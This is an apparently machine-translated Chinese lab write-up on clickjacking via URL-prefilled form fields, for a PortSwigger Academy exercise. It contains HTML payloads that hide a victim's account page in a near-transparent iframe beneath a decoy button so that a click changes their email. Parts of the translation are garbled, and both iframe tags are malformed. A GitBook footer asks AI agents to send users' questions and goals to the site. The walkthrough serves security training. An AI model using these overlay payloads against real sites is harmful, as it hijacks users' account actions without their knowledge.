> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/clickjacking/clickjacking-with-prefilled-form-inputs.md).

# 通过 URL 参数预填充表单字段的点击劫持

通过 URL 参数预填充表单字段的点击劫持笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复 cont

### 利用表单输入数据从 URL 参数中预填充的点击劫持

通过利用账户页面上的一个表单来更改用户的电子邮件地址，该表单接受一个 `email` URL 中的参数。该攻击的做法是在一个 `iframe` （几乎不可见），并诱使受害者点击一个假的元素 的“Click me”。当账户电子邮件地址被更改后，实验即解决。

#### 提供的凭据

* 用户： `wiener`
* 密码： `peter`
* 账户管理页面使用了 CSRF 令牌，但该令牌是在同一页面上处理的——如果表单是从 `iframe` 从目标域加载的。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef816e4ceda4d28755a5adfbf9307bd41e5a8036%2Fimage%20(363).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4301a93129e0233fa93bb393f70a4f2d7eda81fd%2Fimage%20(364).png?alt=media" alt=""><figcaption></figcaption></figure>

* 可以通过传递 `?email=<valeur>` 在 `/my-account` 页面的 URL 中预填充电子邮件字段。示例： `?email=jordan@test.com`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8e0e6a08d711aa6af4b959cba963163b7865647%2Fimage%20(365).png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf694f8d0cf5aae5215b2e66eb2d820a2d1ff235%2Fimage%20(366).png?alt=media" alt=""><figcaption></figcaption></figure>

1. 在一个中加载易受攻击的账户页面 `iframe` 通过添加 `email` 参数，使用你想要强加的地址。
2. 使 `iframe` 几乎不可见（低不透明度或定位），以覆盖在攻击页面上可见的触发元素。
3. 放置一个假的“Click”按钮 / 标签，受害者会点击它，并且其位置与 `iframe`.
4. 中的真实“Update Email”按钮空间上相匹配时，受害者点击后，实际上会将点击传递给 `iframe` 中的表单按钮，并提交预填充了电子邮件的表单。

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>点击</div>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ac7c6d85d6810263cf4b47464b7024f042a9c0d%2Fimage%20(367).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/clickjacking/clickjacking-with-prefilled-form-inputs.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
